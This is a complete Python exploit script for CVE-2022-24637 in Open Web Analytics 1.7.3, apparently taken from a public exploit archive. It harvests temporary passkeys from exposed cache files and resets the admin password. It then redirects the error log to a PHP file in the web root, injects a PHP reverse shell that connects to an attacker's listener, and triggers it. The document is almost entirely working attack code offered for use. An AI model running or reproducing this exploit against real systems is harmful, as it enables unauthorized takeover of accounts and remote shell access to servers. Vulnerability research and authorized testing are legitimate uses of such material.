Open Web Analytics 1.7.3 Remote Code Execution

`# Exploit Title: Open Web Analytics 1.7.3 - Remote Code Execution (RCE)  
# Date: 2022-08-30  
# Exploit Author: Jacob Ebben  
# Vendor Homepage: https://www.openwebanalytics.com/  
# Software Link: https://github.com/Open-Web-Analytics  
# Version: <1.7.4  
# Tested on: Linux   
# CVE : CVE-2022-24637  
  
import argparse  
import requests  
import base64  
import re  
import random  
import string  
import hashlib  
from termcolor import colored  
  
def print_message(message, type):  
if type == 'SUCCESS':  
print('[' + colored('SUCCESS', 'green') + '] ' + message)  
elif type == 'INFO':  
print('[' + colored('INFO', 'blue') + '] ' + message)  
elif type == 'WARNING':  
print('[' + colored('WARNING', 'yellow') + '] ' + message)  
elif type == 'ALERT':  
print('[' + colored('ALERT', 'yellow') + '] ' + message)  
elif type == 'ERROR':  
print('[' + colored('ERROR', 'red') + '] ' + message)  
  
def get_normalized_url(url):  
if url[-1] != '/':  
url += '/'  
if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':  
url = "http://" + url  
return url  
  
def get_proxy_protocol(url):  
if url[0:8].lower() == 'https://':  
return 'https'  
return 'http'  
  
def get_random_string(length):  
chars = string.ascii_letters + string.digits  
return ''.join(random.choice(chars) for i in range(length))  
  
def get_cache_content(cache_raw):  
regex_cache_base64 = r'\*(\w*)\*'  
regex_result = re.search(regex_cache_base64, cache_raw)  
if not regex_result:  
print_message('The provided URL does not appear to be vulnerable ...', "ERROR")  
exit()  
else:  
cache_base64 = regex_result.group(1)  
return base64.b64decode(cache_base64).decode("ascii")  
  
def get_cache_username(cache):  
regex_cache_username = r'"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"'  
return re.search(regex_cache_username, cache).group(1)  
  
def get_cache_temppass(cache):  
regex_cache_temppass = r'"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"'  
return re.search(regex_cache_temppass, cache).group(1)  
  
def get_update_nonce(url):  
try:  
update_nonce_request = session.get(url, proxies=proxies)  
regex_update_nonce = r'owa_nonce" value="(\w*)"'  
update_nonce = re.search(regex_update_nonce, update_nonce_request.text).group(1)  
except Exception as e:  
print_message('An error occurred when attempting to update config!', "ERROR")  
print(e)  
exit()  
else:  
return update_nonce  
  
parser = argparse.ArgumentParser(description='Exploit for CVE-2022-24637: Unauthenticated RCE in Open Web Analytics (OWA)')  
parser.add_argument('TARGET', type=str,   
help='Target URL (Example: http://localhost/owa/ or https://victim.xyz:8000/)')  
parser.add_argument('ATTACKER_IP', type=str,   
help='Address for reverse shell listener on attacking machine')  
parser.add_argument('ATTACKER_PORT', type=str,   
help='Port for reverse shell listener on attacking machine')  
parser.add_argument('-u', '--username', default="admin", type=str,  
help='The username to exploit (Default: admin)')  
parser.add_argument('-p','--password', default=get_random_string(32), type=str,  
help='The new password for the exploited user')  
parser.add_argument('-P','--proxy', type=str,  
help='HTTP proxy address (Example: http://127.0.0.1:8080/)')  
parser.add_argument('-c', '--check', action='store_true',  
help='Check vulnerability without exploitation')  
  
args = parser.parse_args()  
  
base_url = get_normalized_url(args.TARGET)  
login_url = base_url + "index.php?owa_do=base.loginForm"  
password_reset_url = base_url + "index.php?owa_do=base.usersPasswordEntry"  
update_config_url = base_url + "index.php?owa_do=base.optionsGeneral"  
  
username = args.username  
new_password = args.password  
  
reverse_shell = '<?php $sock=fsockopen("' + args.ATTACKER_IP + '",'+ args.ATTACKER_PORT + ');$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'  
shell_filename = get_random_string(8) + '.php'  
shell_url = base_url + 'owa-data/caches/' + shell_filename  
  
if args.proxy:  
proxy_url = get_normalized_url(args.proxy)  
proxy_protocol = get_proxy_protocol(proxy_url)  
proxies = { proxy_protocol: proxy_url }  
else:  
proxies = {}  
  
session = requests.Session()  
  
try:  
mainpage_request = session.get(base_url, proxies=proxies)  
except Exception as e:  
print_message('Could not connect to "' + base_url, "ERROR")  
exit()  
else:  
print_message('Connected to "' + base_url + '" successfully!', "SUCCESS")  
  
if 'Open Web Analytics' not in mainpage_request.text:  
print_message('Could not confirm whether this website is hosting OWA! Continuing exploitation...', "WARNING")  
elif 'version=1.7.3' not in mainpage_request.text:  
print_message('Could not confirm whether this OWA instance is vulnerable! Continuing exploitation...', "WARNING")  
else:  
print_message('The webserver indicates a vulnerable version!', "ALERT")  
  
try:  
data = {  
"owa_user_id": username,   
"owa_password": username,   
"owa_action": "base.login"  
}  
session.post(login_url, data=data, proxies=proxies)  
except Exception as e:  
print_message('An error occurred during the login attempt!', "ERROR")  
print(e)  
exit()  
else:  
print_message('Attempting to generate cache for "' + username + '" user', "INFO")  
  
print_message('Attempting to find cache of "' + username + '" user', "INFO")  
  
found = False  
  
for key in range(100):  
user_id = 'user_id' + str(key)  
userid_hash = hashlib.md5(user_id.encode()).hexdigest()   
filename = userid_hash + '.php'  
cache_url = base_url + "owa-data/caches/" + str(key) + "/owa_user/" + filename  
cache_request = requests.get(cache_url, proxies=proxies)  
if cache_request.status_code != 200:  
continue;  
cache_raw = cache_request.text  
cache = get_cache_content(cache_raw)  
cache_username = get_cache_username(cache)  
if cache_username != username:  
print_message('The temporary password for a different user was found. "' + cache_username + '": ' + get_cache_temppass(cache), "INFO")  
continue;  
else:  
found = True  
break  
if not found:  
print_message('No cache found. Are you sure "' + username + '" is a valid user?', "ERROR")  
exit()  
  
cache_temppass = get_cache_temppass(cache)  
print_message('Found temporary password for user "' + username + '": ' + cache_temppass, "INFO")  
  
if args.check:  
print_message('The system appears to be vulnerable!', "ALERT")  
exit()  
  
try:  
data = {  
"owa_password": new_password,   
"owa_password2": new_password,   
"owa_k": cache_temppass,   
"owa_action":   
"base.usersChangePassword"  
}  
session.post(password_reset_url, data=data, proxies=proxies)  
except Exception as e:  
print_message('An error occurred when changing the user password!', "ERROR")  
print(e)  
exit()  
else:  
print_message('Changed the password of "' + username + '" to "' + new_password + '"', "INFO")  
  
try:  
data = {  
"owa_user_id": username,   
"owa_password": new_password,   
"owa_action": "base.login"  
}  
session.post(login_url, data=data, proxies=proxies)  
except Exception as e:  
print_message('An error occurred during the login attempt!', "ERROR")  
print(e)  
exit()  
else:  
print_message('Logged in as "' + username + '" user', "SUCCESS")  
  
nonce = get_update_nonce(update_config_url)  
  
try:  
log_location = "/var/www/html/owa/owa-data/caches/" + shell_filename  
data = {  
"owa_nonce": nonce,   
"owa_action": "base.optionsUpdate",   
"owa_config[base.error_log_file]": log_location,   
"owa_config[base.error_log_level]": 2  
}  
session.post(update_config_url, data=data, proxies=proxies)  
except Exception as e:  
print_message('An error occurred when attempting to update config!', "ERROR")  
print(e)  
exit()  
else:  
print_message('Creating log file', "INFO")  
  
nonce = get_update_nonce(update_config_url)  
  
try:  
data = {  
"owa_nonce": nonce,   
"owa_action": "base.optionsUpdate",   
"owa_config[shell]": reverse_shell   
}  
session.post(update_config_url, data=data, proxies=proxies)  
except Exception as e:  
print_message('An error occurred when attempting to update config!', "ERROR")  
print(e)  
exit()  
else:  
print_message('Wrote payload to log file', "INFO")  
  
try:  
session.get(shell_url, proxies=proxies)  
except Exception as e:  
print(e)  
else:  
print_message('Triggering payload! Check your listener!', "SUCCESS")  
print_message('You can trigger the payload again at "' + shell_url + '"' , "INFO")  
  
`